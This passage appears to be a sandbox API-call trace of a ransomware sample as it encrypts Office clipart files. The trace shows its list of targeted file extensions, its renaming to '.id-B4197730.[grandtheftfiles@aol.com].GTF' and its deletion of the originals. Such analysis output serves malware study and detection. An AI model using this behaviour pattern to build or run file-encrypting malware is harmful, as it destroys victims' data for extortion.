	[0170.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.596] lstrlenW (lpString=".zip") returned 4
	[0170.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.596] lstrlenW (lpString=".rar") returned 4
	[0170.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.596] lstrlenW (lpString=".bz2") returned 4
	[0170.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.596] lstrlenW (lpString=".7z") returned 3
	[0170.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.596] lstrlenW (lpString=".dbf") returned 4
	[0170.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.596] lstrlenW (lpString=".1cd") returned 4
	[0170.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0170.596] lstrlenW (lpString=".jpg") returned 4
	[0170.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.596] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.596] lstrlenW (lpString="J0107494.WMF") returned 12
	[0170.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0171.184] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6424) returned 1
	[0171.184] CloseHandle (hObject=0x3e0) returned 1
	[0171.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220
	[0171.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.421] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.421] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.422] GetLastError () returned 0x0
	[0171.422] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1918, lpOverlapped=0x0) returned 1
	[0171.424] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1920, lpOverlapped=0x0) returned 1
	[0171.425] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.426] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.426] SetEndOfFile (hFile=0x55c) returned 1
	[0171.426] CloseHandle (hObject=0x55c) returned 1
	[0171.428] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.428] SetEndOfFile (hFile=0x45c) returned 1
	[0171.431] CloseHandle (hObject=0x45c) returned 1
	[0171.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1
	[0171.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.432] lstrlenW (lpString=".doc") returned 4
	[0171.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.432] lstrlenW (lpString=".docx") returned 5
	[0171.432] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.432] lstrlenW (lpString=".pdf") returned 4
	[0171.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString=".xls") returned 4
	[0171.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.433] lstrlenW (lpString=".xlsx") returned 5
	[0171.433] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.433] lstrlenW (lpString=".ppt") returned 4
	[0171.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.433] lstrlenW (lpString=".zip") returned 4
	[0171.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.433] lstrlenW (lpString=".rar") returned 4
	[0171.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString=".bz2") returned 4
	[0171.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString=".7z") returned 3
	[0171.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.433] lstrlenW (lpString=".dbf") returned 4
	[0171.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.433] lstrlenW (lpString=".1cd") returned 4
	[0171.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.433] lstrlenW (lpString=".jpg") returned 4
	[0171.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.433] lstrlenW (lpString=".doc") returned 4
	[0171.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString=".docx") returned 5
	[0171.434] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.434] lstrlenW (lpString=".pdf") returned 4
	[0171.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString=".xls") returned 4
	[0171.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.434] lstrlenW (lpString=".xlsx") returned 5
	[0171.434] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.434] lstrlenW (lpString=".ppt") returned 4
	[0171.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.434] lstrlenW (lpString=".zip") returned 4
	[0171.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.434] lstrlenW (lpString=".rar") returned 4
	[0171.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString=".bz2") returned 4
	[0171.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString=".7z") returned 3
	[0171.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.434] lstrlenW (lpString=".dbf") returned 4
	[0171.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.434] lstrlenW (lpString=".1cd") returned 4
	[0171.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0171.434] lstrlenW (lpString=".jpg") returned 4
	[0171.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.435] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.435] lstrlenW (lpString="J0107718.WMF") returned 12
	[0171.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.435] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3800) returned 1
	[0171.436] CloseHandle (hObject=0x45c) returned 1
	[0171.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220
	[0171.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.436] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.436] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.437] GetLastError () returned 0x0
	[0171.437] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xed8, lpOverlapped=0x0) returned 1
	[0171.439] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0171.440] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.440] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.440] SetEndOfFile (hFile=0x55c) returned 1
	[0171.440] CloseHandle (hObject=0x55c) returned 1
	[0171.440] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.441] SetEndOfFile (hFile=0x45c) returned 1
	[0171.443] CloseHandle (hObject=0x45c) returned 1
	[0171.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1
	[0171.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.444] lstrlenW (lpString=".doc") returned 4
	[0171.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.444] lstrlenW (lpString=".docx") returned 5
	[0171.444] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.444] lstrlenW (lpString=".pdf") returned 4
	[0171.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString=".xls") returned 4
	[0171.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.445] lstrlenW (lpString=".xlsx") returned 5
	[0171.445] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.445] lstrlenW (lpString=".ppt") returned 4
	[0171.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.445] lstrlenW (lpString=".zip") returned 4
	[0171.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.445] lstrlenW (lpString=".rar") returned 4
	[0171.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString=".bz2") returned 4
	[0171.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString=".7z") returned 3
	[0171.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.445] lstrlenW (lpString=".dbf") returned 4
	[0171.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.445] lstrlenW (lpString=".1cd") returned 4
	[0171.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.445] lstrlenW (lpString=".jpg") returned 4
	[0171.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.445] lstrlenW (lpString=".doc") returned 4
	[0171.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.445] lstrlenW (lpString=".docx") returned 5
	[0171.445] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.445] lstrlenW (lpString=".pdf") returned 4
	[0171.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.446] lstrlenW (lpString=".xls") returned 4
	[0171.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.446] lstrlenW (lpString=".xlsx") returned 5
	[0171.446] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.446] lstrlenW (lpString=".ppt") returned 4
	[0171.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.446] lstrlenW (lpString=".zip") returned 4
	[0171.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.446] lstrlenW (lpString=".rar") returned 4
	[0171.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.446] lstrlenW (lpString=".bz2") returned 4
	[0171.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.446] lstrlenW (lpString=".7z") returned 3
	[0171.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.446] lstrlenW (lpString=".dbf") returned 4
	[0171.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.446] lstrlenW (lpString=".1cd") returned 4
	[0171.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0171.446] lstrlenW (lpString=".jpg") returned 4
	[0171.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.447] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.447] lstrlenW (lpString="J0107722.WMF") returned 12
	[0171.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.448] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=8260) returned 1
	[0171.448] CloseHandle (hObject=0x45c) returned 1
	[0171.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220
	[0171.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.450] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.450] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.451] GetLastError () returned 0x0
	[0171.451] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2044, lpOverlapped=0x0) returned 1
	[0171.453] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2050, lpOverlapped=0x0) returned 1
	[0171.454] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.454] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.454] SetEndOfFile (hFile=0x55c) returned 1
	[0171.454] CloseHandle (hObject=0x55c) returned 1
	[0171.455] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.455] SetEndOfFile (hFile=0x45c) returned 1
	[0171.458] CloseHandle (hObject=0x45c) returned 1
	[0171.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.459] lstrlenW (lpString=".doc") returned 4
	[0171.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString=".docx") returned 5
	[0171.459] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.459] lstrlenW (lpString=".pdf") returned 4
	[0171.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString=".xls") returned 4
	[0171.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.459] lstrlenW (lpString=".xlsx") returned 5
	[0171.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.459] lstrlenW (lpString=".ppt") returned 4
	[0171.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.460] lstrlenW (lpString=".zip") returned 4
	[0171.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.460] lstrlenW (lpString=".rar") returned 4
	[0171.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString=".bz2") returned 4
	[0171.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString=".7z") returned 3
	[0171.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.898] lstrlenW (lpString=".dbf") returned 4
	[0171.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.898] lstrlenW (lpString=".1cd") returned 4
	[0171.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.898] lstrlenW (lpString=".jpg") returned 4
	[0171.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.898] lstrlenW (lpString=".doc") returned 4
	[0171.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString=".docx") returned 5
	[0171.898] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.898] lstrlenW (lpString=".pdf") returned 4
	[0171.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.898] lstrlenW (lpString=".xls") returned 4
	[0171.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.898] lstrlenW (lpString=".xlsx") returned 5
	[0171.898] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.898] lstrlenW (lpString=".ppt") returned 4
	[0171.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
